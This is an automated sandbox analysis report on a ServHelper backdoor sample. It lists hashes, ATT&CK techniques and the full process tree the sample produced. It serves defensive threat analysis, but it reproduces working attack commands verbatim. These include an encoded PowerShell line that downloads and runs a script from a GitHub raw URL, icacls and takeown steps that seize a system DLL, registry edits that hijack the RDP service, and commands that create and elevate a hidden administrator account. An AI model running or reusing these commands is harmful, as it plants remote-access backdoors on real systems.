servhelper | 6c4aab4c3bd1ba8f77a781d70ecbc1b4c7dfd9d3c7ad60158fb8d35d1d4246e2

Analysis

max time kernel
131s
max time network
119s
platform
windows7_x64
resource
win7v20210408
submitted
20-07-2021 09:16

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General

Target

exe1.bin.exe
Size

4.6MB
MD5

eaee663dfeb2efcd9ec669f5622858e2
SHA1

2b96f0d568128240d0c53b2a191467fde440fd93
SHA256

6c4aab4c3bd1ba8f77a781d70ecbc1b4c7dfd9d3c7ad60158fb8d35d1d4246e2
SHA512

211951f053ddecc6e0545a83119112d6ad375e226437d6a26ed493b362e51da3718131d59fb045c9b2feea91e04d3b82e9be4e52a46fe2e84ed4f3b4ed2213b3

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
10	940	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1592	takeown.exe
1568	icacls.exe
620	icacls.exe
1680	icacls.exe
1964	icacls.exe
1100	icacls.exe
1712	icacls.exe
1780	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00040000000130d9-181.dat	upx
behavioral1/files/0x00050000000130da-182.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
1844	Process not Found
1844	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1568	icacls.exe
620	icacls.exe
1680	icacls.exe
1964	icacls.exe
1100	icacls.exe
1712	icacls.exe
1780	icacls.exe
1592	takeown.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1323314d-f38f-43cf-8826-e6eae8d79402	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_d3e54fc2-be7b-4c5b-aa43-a5a343edd931	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b8634b9e-62cb-41f8-bbe4-da7bf5436d03	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UXZB1YYNPNPQRGX58D3K.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_281ac449-6d71-4b99-8b80-5addd3c2b549	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_872c52d3-c0cf-4501-adbe-a5e004ef4efb	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ea514b11-8fd8-47b7-88ad-1aabf028c967	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_5505034d-bee8-49a7-bc94-eb5e1f4ffb6b	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_d5b04d74-21e7-426a-8ef5-5414996dfe1b	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_179593a8-6966-470f-8620-c781a3dbbe65	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a1938cdf-02b0-497b-bd02-20aadc0e0bdd	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_03e55983-7a1e-4a20-a1be-3b1870f1f0c6	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = b034bf6c587dd701	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
892	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
568	powershell.exe
568	powershell.exe
1372	powershell.exe
1372	powershell.exe
1068	powershell.exe
1068	powershell.exe
1164	powershell.exe
1164	powershell.exe
568	powershell.exe
568	powershell.exe
568	powershell.exe
940	powershell.exe
940	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
460	Process not Found
1844	Process not Found
1844	Process not Found
1844	Process not Found
1844	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	568	powershell.exe
Token: SeDebugPrivilege	1372	powershell.exe
Token: SeDebugPrivilege	1068	powershell.exe
Token: SeDebugPrivilege	1164	powershell.exe
Token: SeRestorePrivilege	620	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	328	WMIC.exe
Token: SeIncreaseQuotaPrivilege	328	WMIC.exe
Token: SeAuditPrivilege	328	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	328	WMIC.exe
Token: SeIncreaseQuotaPrivilege	328	WMIC.exe
Token: SeAuditPrivilege	328	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	692	WMIC.exe
Token: SeIncreaseQuotaPrivilege	692	WMIC.exe
Token: SeAuditPrivilege	692	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	692	WMIC.exe
Token: SeIncreaseQuotaPrivilege	692	WMIC.exe
Token: SeAuditPrivilege	692	WMIC.exe
Token: SeDebugPrivilege	940	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1984 wrote to memory of 568	1984	exe1.bin.exe	29
PID 1984 wrote to memory of 568	1984	exe1.bin.exe	29
PID 1984 wrote to memory of 568	1984	exe1.bin.exe	29
PID 568 wrote to memory of 1532	568	powershell.exe	31
PID 568 wrote to memory of 1532	568	powershell.exe	31
PID 568 wrote to memory of 1532	568	powershell.exe	31
PID 1532 wrote to memory of 1880	1532	csc.exe	32
PID 1532 wrote to memory of 1880	1532	csc.exe	32
PID 1532 wrote to memory of 1880	1532	csc.exe	32
PID 568 wrote to memory of 1372	568	powershell.exe	33
PID 568 wrote to memory of 1372	568	powershell.exe	33
PID 568 wrote to memory of 1372	568	powershell.exe	33
PID 568 wrote to memory of 1068	568	powershell.exe	35
PID 568 wrote to memory of 1068	568	powershell.exe	35
PID 568 wrote to memory of 1068	568	powershell.exe	35
PID 568 wrote to memory of 1164	568	powershell.exe	37
PID 568 wrote to memory of 1164	568	powershell.exe	37
PID 568 wrote to memory of 1164	568	powershell.exe	37
PID 568 wrote to memory of 1592	568	powershell.exe	40
PID 568 wrote to memory of 1592	568	powershell.exe	40
PID 568 wrote to memory of 1592	568	powershell.exe	40
PID 568 wrote to memory of 1568	568	powershell.exe	41
PID 568 wrote to memory of 1568	568	powershell.exe	41
PID 568 wrote to memory of 1568	568	powershell.exe	41
PID 568 wrote to memory of 620	568	powershell.exe	42
PID 568 wrote to memory of 620	568	powershell.exe	42
PID 568 wrote to memory of 620	568	powershell.exe	42
PID 568 wrote to memory of 1680	568	powershell.exe	43
PID 568 wrote to memory of 1680	568	powershell.exe	43
PID 568 wrote to memory of 1680	568	powershell.exe	43
PID 568 wrote to memory of 1964	568	powershell.exe	44
PID 568 wrote to memory of 1964	568	powershell.exe	44
PID 568 wrote to memory of 1964	568	powershell.exe	44
PID 568 wrote to memory of 1100	568	powershell.exe	45
PID 568 wrote to memory of 1100	568	powershell.exe	45
PID 568 wrote to memory of 1100	568	powershell.exe	45
PID 568 wrote to memory of 1712	568	powershell.exe	46
PID 568 wrote to memory of 1712	568	powershell.exe	46
PID 568 wrote to memory of 1712	568	powershell.exe	46
PID 568 wrote to memory of 1780	568	powershell.exe	47
PID 568 wrote to memory of 1780	568	powershell.exe	47
PID 568 wrote to memory of 1780	568	powershell.exe	47
PID 568 wrote to memory of 940	568	powershell.exe	48
PID 568 wrote to memory of 940	568	powershell.exe	48
PID 568 wrote to memory of 940	568	powershell.exe	48
PID 568 wrote to memory of 892	568	powershell.exe	49
PID 568 wrote to memory of 892	568	powershell.exe	49
PID 568 wrote to memory of 892	568	powershell.exe	49
PID 568 wrote to memory of 1472	568	powershell.exe	50
PID 568 wrote to memory of 1472	568	powershell.exe	50
PID 568 wrote to memory of 1472	568	powershell.exe	50
PID 568 wrote to memory of 1256	568	powershell.exe	51
PID 568 wrote to memory of 1256	568	powershell.exe	51
PID 568 wrote to memory of 1256	568	powershell.exe	51
PID 1256 wrote to memory of 1312	1256	net.exe	52
PID 1256 wrote to memory of 1312	1256	net.exe	52
PID 1256 wrote to memory of 1312	1256	net.exe	52
PID 568 wrote to memory of 1664	568	powershell.exe	53
PID 568 wrote to memory of 1664	568	powershell.exe	53
PID 568 wrote to memory of 1664	568	powershell.exe	53
PID 1664 wrote to memory of 1392	1664	cmd.exe	54
PID 1664 wrote to memory of 1392	1664	cmd.exe	54
PID 1664 wrote to memory of 1392	1664	cmd.exe	54
PID 1392 wrote to memory of 1896	1392	cmd.exe	55

C:\Users\Admin\AppData\Local\Temp\exe1.bin.exe
"C:\Users\Admin\AppData\Local\Temp\exe1.bin.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1984
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:568
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4ollxdjq\4ollxdjq.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1532
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES620D.tmp" "c:\Users\Admin\AppData\Local\Temp\4ollxdjq\CSCD430DA36425C492D97B3F7169A39AFC7.TMP"
      4⤵
      PID:1880
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1372
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1068
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1164
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1592
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1568
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:620
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1680
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1964
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1100
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1712
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1780
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:940
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:892
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:1472
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1256
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1312
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1664
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1392
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:1896
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1520
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:1608
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:844
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:748
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1020
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:1372
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:1632

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:984
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  PID:1692
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:620

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 3wIPoLDq /add
1⤵
PID:1880
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 3wIPoLDq /add
  2⤵
  PID:1168
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 3wIPoLDq /add
    3⤵
    PID:1100

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:1684
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:892
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:328

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
1⤵
PID:1132
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
  2⤵
  PID:1096
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
    3⤵
    PID:1804

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:1312
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:1688
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1692

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 3wIPoLDq
1⤵
PID:1532
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 3wIPoLDq
  2⤵
  PID:1600
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 3wIPoLDq
    3⤵
    PID:1964

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:292
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:328

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:900
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:692

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:868
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1656
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:940

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/568-72-0x000000001AA24000-0x000000001AA26000-memory.dmp

Filesize
8KB

Download
memory/568-74-0x000000001C3F0000-0x000000001C3F1000-memory.dmp

Filesize
4KB

Download
memory/568-86-0x000000001B4D0000-0x000000001B4D1000-memory.dmp

Filesize
4KB

Download
memory/568-101-0x000000001AA2A000-0x000000001AA49000-memory.dmp

Filesize
124KB

Download
memory/568-85-0x000000001B7B0000-0x000000001B7B1000-memory.dmp

Filesize
4KB

Download
memory/568-158-0x000000001C6F0000-0x000000001C6F1000-memory.dmp

Filesize
4KB

Download
memory/568-84-0x000000001B690000-0x000000001B691000-memory.dmp

Filesize
4KB

Download
memory/568-82-0x0000000002420000-0x0000000002421000-memory.dmp

Filesize
4KB

Download
memory/568-66-0x000007FEFC051000-0x000007FEFC053000-memory.dmp

Filesize
8KB

Download
memory/568-71-0x000000001AA20000-0x000000001AA22000-memory.dmp

Filesize
8KB

Download
memory/568-70-0x000000001B490000-0x000000001B491000-memory.dmp

Filesize
4KB

Download
memory/568-69-0x000000001A9C0000-0x000000001A9C1000-memory.dmp

Filesize
4KB

Download
memory/568-68-0x000000001AAA0000-0x000000001AAA1000-memory.dmp

Filesize
4KB

Download
memory/568-67-0x0000000002350000-0x0000000002351000-memory.dmp

Filesize
4KB

Download
memory/940-239-0x000000001936A000-0x0000000019389000-memory.dmp

Filesize
124KB

Download
memory/940-210-0x0000000019364000-0x0000000019366000-memory.dmp

Filesize
8KB

Download
memory/940-209-0x0000000019360000-0x0000000019362000-memory.dmp

Filesize
8KB

Download
memory/1068-134-0x000000001A9A4000-0x000000001A9A6000-memory.dmp

Filesize
8KB

Download
memory/1068-127-0x0000000002410000-0x0000000002411000-memory.dmp

Filesize
4KB

Download
memory/1068-129-0x000000001B8C0000-0x000000001B8C1000-memory.dmp

Filesize
4KB

Download
memory/1068-131-0x000000001AB20000-0x000000001AB21000-memory.dmp

Filesize
4KB

Download
memory/1068-132-0x0000000002060000-0x0000000002061000-memory.dmp

Filesize
4KB

Download
memory/1068-133-0x000000001A9A0000-0x000000001A9A2000-memory.dmp

Filesize
8KB

Download
memory/1164-149-0x000000001AC00000-0x000000001AC02000-memory.dmp

Filesize
8KB

Download
memory/1164-150-0x000000001AC04000-0x000000001AC06000-memory.dmp

Filesize
8KB

Download
memory/1372-97-0x000000001B730000-0x000000001B731000-memory.dmp

Filesize
4KB

Download
memory/1372-93-0x000000001AC84000-0x000000001AC86000-memory.dmp

Filesize
8KB

Download
memory/1372-99-0x00000000026A0000-0x00000000026A1000-memory.dmp

Filesize
4KB

Download
memory/1372-92-0x000000001AC80000-0x000000001AC82000-memory.dmp

Filesize
8KB

Download
memory/1372-120-0x000000001AA10000-0x000000001AA11000-memory.dmp

Filesize
4KB

Download
memory/1372-100-0x0000000001E20000-0x0000000001E21000-memory.dmp

Filesize
4KB

Download
memory/1372-106-0x000000001A9D0000-0x000000001A9D1000-memory.dmp

Filesize
4KB

Download
memory/1372-119-0x0000000002940000-0x0000000002941000-memory.dmp

Filesize
4KB

Download
memory/1372-95-0x0000000002440000-0x0000000002441000-memory.dmp

Filesize
4KB

Download
memory/1984-59-0x00000000410A0000-0x000000004134A000-memory.dmp

Filesize
2.7MB

Download
memory/1984-63-0x0000000040B76000-0x0000000040B77000-memory.dmp

Filesize
4KB

Download
memory/1984-62-0x0000000040B74000-0x0000000040B76000-memory.dmp

Filesize
8KB

Download
memory/1984-61-0x0000000040B72000-0x0000000040B74000-memory.dmp

Filesize
8KB

Download
memory/1984-64-0x0000000040B77000-0x0000000040B78000-memory.dmp

Filesize
4KB

Download